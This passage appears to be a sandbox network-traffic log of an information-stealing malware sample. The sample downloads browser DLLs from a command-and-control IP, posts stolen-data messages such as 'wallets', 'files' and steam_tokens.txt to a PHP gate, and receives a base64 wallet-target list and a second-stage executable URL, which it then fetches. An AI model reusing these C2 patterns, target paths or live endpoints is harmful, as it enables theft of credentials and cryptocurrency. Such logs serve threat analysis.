Oct 7, 2024 19:33:17.719736099 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:18.021370888 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 19:33:18.224087954 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 7, 2024 19:33:18.948295116 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 19:33:19.122983932 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 7, 2024 19:33:19.625063896 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 19:33:19.798548937 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 19:33:20.089145899 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 19:33:20.261579990 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 19:33:21.710597038 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 19:33:21.885097980 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 19:33:22.082437038 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 19:33:22.255203962 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 19:33:22.412012100 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFC Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 19:33:22.915143013 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:22.915771961 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:22.939287901 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"wallets------DHDAFBFCFHIDAKFIIEBA--
Oct 7, 2024 19:33:23.119503021 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 7, 2024 19:33:23.122117996 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="message"files------CAAKKFHCFIECAAAKEGCF--
Oct 7, 2024 19:33:23.299578905 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:23.306298971 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCF Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file"------JKJDAEBFCBKECBGDBFCF--
Oct 7, 2024 19:33:23.522970915 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 19:33:23.525785923 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="message"ybncbhylepme------EHCGIJDHDGDBGDGCGCFH--
Oct 7, 2024 19:33:23.736887932 CEST	322	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 17:33:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 96 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 32 35 7a 5a 47 30 75 59 33 56 74 63 47 46 79 4c 57 46 31 64 47 38 74 62 33 4a 70 59 32 55 74 64 47 6c 77 4c 6e 4a 76 4c 32 78 6b 62 58 4d 76 59 54 51 7a 4e 44 67 32 4d 54 49 34 4d 7a 51 33 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 77 3d Data Ascii: aHR0cDovL25zZG0uY3VtcGFyLWF1dG8tb3JpY2UtdGlwLnJvL2xkbXMvYTQzNDg2MTI4MzQ3LmV4ZXwwfDB8U3RhcnR8NHw=
Oct 7, 2024 19:33:25.085342884 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAK Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 63 36 32 37 61 64 39 66 64 65 39 35 31 65 64 65 35 38 31 62 65 63 39 30 35 66 39 65 35 38 39 33 32 62 66 66 39 64 31 33 32 33 31 66 38 32 38 64 63 39 62 38 36 39 31 62 30 33 64 61 36 62 33 31 34 62 65 63 39 36 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="token"5c627ad9fde951ede581bec905f9e58932bff9d13231f828dc9b8691b03da6b314bec96c------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAFIIJDAAAAKFHIDAAAK--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49791	147.45.44.104	80	6376	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 19:33:23.785604000 CEST	101	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: nsdm.cumpar-auto-orice-tip.ro Cache-Control: no-cache
